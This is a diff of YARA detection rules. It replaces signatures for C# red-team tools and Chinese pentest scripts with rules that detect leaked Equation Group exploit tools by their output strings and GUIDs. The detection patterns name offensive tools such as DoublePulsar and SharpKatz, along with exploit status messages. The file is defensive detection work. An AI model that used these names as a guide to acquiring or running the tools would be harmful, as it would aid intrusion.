+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1521-L1536"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9239a61e71c86fc239f75baa9c781da18553e3c502495ad7429eaf3c744e870c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0cdde7472b077610d0068aa7e9035da89fe5d435549749707cae24495c8d8444"
 
 	strings:
-		$s0 = "Destination: http://202.113.20.235/gj/images/2.asp" fullword ascii
-		$s1 = "HOST: 202.113.20.235" fullword ascii
-		$s2 = "MOVE /gj/images/A.txt HTTP/1.1" fullword ascii
+		$x1 = "[-] Connection closed by remote host (TCP Ack/Fin)" fullword ascii
+		$s2 = "[!]Warning: Error on first request - path size may actually be larger than indicated." fullword ascii
+		$s4 = "<http://%s/%s> (Not <locktoken:write1>) <http://%s/>" fullword ascii
 
 	condition:
-		filesize <1KB and all of them
+		( uint16(0)==0x5a4d and filesize <150KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Mssqlpw_Scan : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Architouch_1_0_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file mssqlpw scan.txt"
+		description = "Detects EquationGroup Tool - April Leak"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7dc29d06-e1e7-527f-b9e5-d75f660fd73e"
-		date = "2015-06-23"
+		id = "c5af05b5-9dfa-535f-b9ea-c82ef79bae7e"
+		date = "2017-04-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L362-L377"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e49def9d72bfef09a639ef3f7329083a0b8b151c"
-		logic_hash = "eb3bd38ca317f0b10358581fc3dbb8ca81b991b9a4f4f2d256d81a31028411b9"
-		score = 70
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1538-L1551"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb6959b7b50e6f2895bab5f3355bef836c9a9774285cfb5fea339ce3d2c67f73"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
 
 	strings:
-		$s0 = "response.Write(\"I Get it ! Password is <font color=red>\" & str & \"</font><BR>" ascii
-		$s1 = "response.Write \"Done!<br>Process \" & tTime & \" s\"" fullword ascii
+		$s1 = "[+] Target is %s" fullword ascii
 
 	condition:
-		filesize <6KB and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Csharpsetthreadcontext : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Erraticgopher_1_0_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "883bb859-d5ab-501d-8c83-0c5a2cf1f6c8"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/CSharpSetThreadContext"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L6-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e1d425c7921a4b80823275d0522ad74a94b12a3b137c54faa16a57ba5d60a89"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1a3fe877-b9ae-50e4-bb1a-c9dcd4d4a657"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1553-L1569"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b099bd202a962e64cb4f417eb7e09893b869e950eb0740394d222e8b4b89283"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052"
 
 	strings:
-		$typelibguid0lo = "a1e28c8c-b3bd-44de-85b9-8aa7c18a714d" ascii wide
-		$typelibguid0up = "A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D" ascii wide
-		$typelibguid1lo = "87c5970e-0c77-4182-afe2-3fe96f785ebb" ascii wide
-		$typelibguid1up = "87C5970E-0C77-4182-AFE2-3FE96F785EBB" ascii wide
+		$x1 = "[-] Error appending shellcode buffer" fullword ascii
+		$x2 = "[-] Shellcode is too big" fullword ascii
+		$x3 = "[+] Exploit Payload Sent!" fullword ascii
+		$x4 = "[+] Bound to Dimsvc, sending exploit request to opnum 29" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <150KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_DLL_Injection : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Esteemaudit_2_1_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "aec4fc28-9aa2-5eef-9fb1-d187a83a72b3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/ihack4falafel/DLL-Injection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L24-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e98c60d2aefb38c550a67003304196e04c42c8cb0317208cf8ffaca175ca4ba0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "95594756-1872-5d86-877f-0977bd3c067b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1571-L1585"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "272d435758c0021bfd84d84c00eb05ece2461a39d092693b61d362365ab098cd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "61f98b12c52739647326e219a1cf99b5440ca56db3b6177ea9db4e3b853c6ea6"
 
 	strings:
-		$typelibguid0lo = "3d7e1433-f81a-428a-934f-7cc7fcf1149d" ascii wide
-		$typelibguid0up = "3D7E1433-F81A-428A-934F-7CC7FCF1149D" ascii wide
+		$x1 = "[+] Connected to target %s:%d" fullword ascii
+		$x2 = "[-] build_exploit_run_x64():" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Limeusb_Csharp : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Darkpulsar_1_1_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "dfa96b36-e84c-510b-b16b-bd686777b83d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/LimeUSB-Csharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L40-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "10ba9197effc20894ff0812c7f1cf1a41c7b36ba89426696ca8961e10572d1d8"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0f4f77d7-99bc-5c84-84bf-877c4e79c9f0"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1587-L1601"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "da8e1723da9e2d9955a3042bceb313d7d10903bfc078ba090c1c5a57be243b96"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b439ed18262aec387984184e86bfdb31ca501172b1c066398f8c56d128ba855a"
 
 	strings:
-		$typelibguid0lo = "94ea43ab-7878-4048-a64e-2b21b3b4366d" ascii wide
-		$typelibguid0up = "94EA43AB-7878-4048-A64E-2B21B3B4366D" ascii wide
+		$x1 = "[%s] - Error upgraded DLL architecture does not match target architecture (0x%x)" fullword ascii
+		$x2 = "[%s] - Error building DLL loading shellcode" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ladon : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Educatedscholar_1_0_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "57e3d2fa-d430-561b-9d42-cf58cda5ed7a"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/k8gege/Ladon"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L56-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f6fdcc7795808e6612be5db336ed04039b592fce459127b4f2d6170f520b0f85"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "37ca8de5-435b-5c1a-83b8-5704fa137604"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1603-L1617"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0265ce5dfb5697a0610a6023b75f6e3ef2ef0308f639978a8617337df2e16c77"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4cce9e39c376f67c16df3bcd69efd9b7472c3b478e2e5ef347e1410f1105c38d"
 
 	strings:
-		$typelibguid0lo = "c335405f-5df2-4c7d-9b53-d65adfbed412" ascii wide
-		$typelibguid0up = "C335405F-5DF2-4C7D-9B53-D65ADFBED412" ascii wide
+		$x1 = "[+] Shellcode Callback %s:%d" fullword ascii
+		$x2 = "[+] Exploiting Target" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <150KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Whitelistevasion : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Doublepulsar_1_3_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cd2740d0-0315-5a32-b34a-1998024fcc06"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/khr0x40sh/WhiteListEvasion"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L72-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39ec3d49a6fa17dca59bfee0d312c5d57a46ee0c827c01b6e25d3b107adaba04"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "99711157-58eb-5ec0-bb9f-bf953cd10125"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1619-L1634"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1b7ed9dbd4312541bd4d939602f63ce1d909729cce1845b018be6a07a9cb7fe2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13"
 
 	strings:
-		$typelibguid0lo = "858386df-4656-4a1e-94b7-47f6aa555658" ascii wide
-		$typelibguid0up = "858386DF-4656-4A1E-94B7-47F6AA555658" ascii wide
+		$x1 = "[+] Ping returned Target architecture: %s - XOR Key: 0x%08X" fullword ascii
+		$x2 = "[.] Sending shellcode to inject DLL" fullword ascii
+		$x3 = "[-] Error setting ShellcodeFile name" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Downloader : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Erraticgophertouch_1_0_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bfb0f97c-6d95-5e11-ad11-5297bcf7c3df"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Lime-Downloader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L88-L102"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51e7facdbfc47f6af8f1e7408b3817e878afddb9a1bd2fbf3fabfe97746a3964"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9f03a4b6-69ab-5cef-876c-1e86ef2afe10"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1636-L1651"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "08646f7887daddd8efac875bc7b111df7a52feae0a4b81bfd2d2ae7ef9453b5e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "729eacf20fe71bd74e57a6b829b45113c5d45003933118b53835779f0b049bad"
 
 	strings:
-		$typelibguid0lo = "ec7afd4c-fbc4-47c1-99aa-6ebb05094173" ascii wide
-		$typelibguid0up = "EC7AFD4C-FBC4-47C1-99AA-6EBB05094173" ascii wide
+		$x1 = "[-] Unable to connect to broswer named pipe, target is NOT vulnerable" fullword ascii
+		$x2 = "[-] Unable to bind to Dimsvc RPC syntax, target is NOT vulnerable" fullword ascii
+		$x3 = "[+] Bound to Dimsvc, target IS vulnerable" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <30KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Darkeye : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Smbtouch_1_1_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5dc6702f-a398-5be2-9df8-9a2ddc636a1f"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/K1ngSoul/DarkEye"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L104-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ce1f7f9bb621ebc2bc0701084436d1932f33071483aac9c487e00ca911da4ddd"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "225799cf-4d1b-54f8-8b76-b9ee1db80ce7"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1653-L1666"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5eb9d45dfc47470236923a5b8174bc17733e4333db6f8bbe63c4f4bc913cf26"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
 
 	strings:
-		$typelibguid0lo = "0bdb9c65-14ed-4205-ab0c-ea2151866a7f" ascii wide
-		$typelibguid0up = "0BDB9C65-14ED-4205-AB0C-EA2151866A7F" ascii wide
+		$x1 = "[+] Target is vulnerable to %d exploit%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <400KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpkatz : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Educatedscholartouch_1_0_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ff084b4c-4b00-5504-85ee-d6d17b5be504"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/b4rtik/SharpKatz"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L120-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e2e5be3256ad24da47096d8d7dbdaec139d4ca136a95957f505e1ec3bb3824f"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "62205374-25a3-5b96-ad0a-a82c9a01a242"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1668-L1682"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4c06fad158db8337ff768ad1553401ec31eee6b0d50333ce91a3a12e79d8981a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f4b958a0d3bb52cb34f18ea293d43fa301ceadb4a259d3503db912d0a9a1e4d8"
 
 	strings:
-		$typelibguid0lo = "8568b4c1-2940-4f6c-bf4e-4383ef268be9" ascii wide
-		$typelibguid0up = "8568B4C1-2940-4F6C-BF4E-4383EF268BE9" ascii wide
+		$x1 = "[!] A vulnerable target will not respond." fullword ascii
+		$x2 = "[-] Target NOT Vulernable" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <30KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Externalc2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Esteemaudittouch_2_1_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1bbdfbb9-a3e8-5ffe-9db9-b50937e6a14d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/ryhanson/ExternalC2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L136-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "90d05afe605d90dd61e8f5095125eb30c2b7a781b90b9ab42ee8391823b53b83"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bb66245e-1261-50bd-8666-75fc4c52ad84"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1684-L1698"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f4e62ec7a68115d5ff155ea94fb2c99b9177e928533338a111e531c694ff7b8f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f6b9caf503bb664b22c6d39c87620cc17bdb66cef4ccfa48c31f2a3ae13b4281"
 
 	strings:
-		$typelibguid0lo = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii wide
-		$typelibguid0up = "7266ACBB-B10D-4873-9B99-12D2043B1D4E" ascii wide
-		$typelibguid1lo = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii wide
-		$typelibguid1up = "5D9515D0-DF67-40ED-A6B2-6619620EF0EF" ascii wide
+		$x1 = "[-] Touching the target failed!" fullword ascii
+		$x2 = "[-] OS fingerprint not complete - 0x%08x!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Povlsomware : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Rpctouch_2_1_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0eba43d2-b415-5e72-9677-4a3238ff7c34"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/povlteksttv/Povlsomware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L154-L168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "681603aa09b83f1a5a56c26204a4a5338c14627f977b29d3edc28a50149756d4"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0691768b-ca98-5722-8468-737c4966d54d"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1700-L1714"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3ea1f30c0a2c91cc9ca2eec8eaab167c83f4f52c2732d03d1e7fb99e63986662"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7fe4c3cedfc98a3e994ca60579f91b8b88bf5ae8cf669baa0928508642c5a887"
 
 	strings:
-		$typelibguid0lo = "fe0d5aa7-538f-42f6-9ece-b141560f7781" ascii wide
-		$typelibguid0up = "FE0D5AA7-538F-42F6-9ECE-B141560F7781" ascii wide
+		$x1 = "[*] Failed to detect OS / Service Pack on %s:%d" fullword ascii
+		$x2 = "[*] SMB String: %s (%s)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Runshellcode : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Mofconfig_1_0_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "249da967-68b0-59b1-b414-4eb4fe67b8f3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/zerosum0x0/RunShellcode"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L170-L184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de9bb2689e10d8a4d4830f6fb5ac35f4433ece1fe61e0f04d72a125e85235a64"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d0d32e19-d004-5941-a5b3-0b4306565cf2"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1716-L1729"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a922eb01efa52601b72c3d91a26585504fcf706a9ed16a36328f94f5871b0b24"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c67a24fe2380331a101d27d6e69b82d968ccbae54a89a2629b6c135436d7bdb2"
 
 	strings:
-		$typelibguid0lo = "a3ec18a3-674c-4131-a7f5-acbed034b819" ascii wide
-		$typelibguid0up = "A3EC18A3-674C-4131-A7F5-ACBED034B819" ascii wide
+		$x1 = "[-] Get RemoteMOFTriggerPath error" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <50KB and all of them )
 }
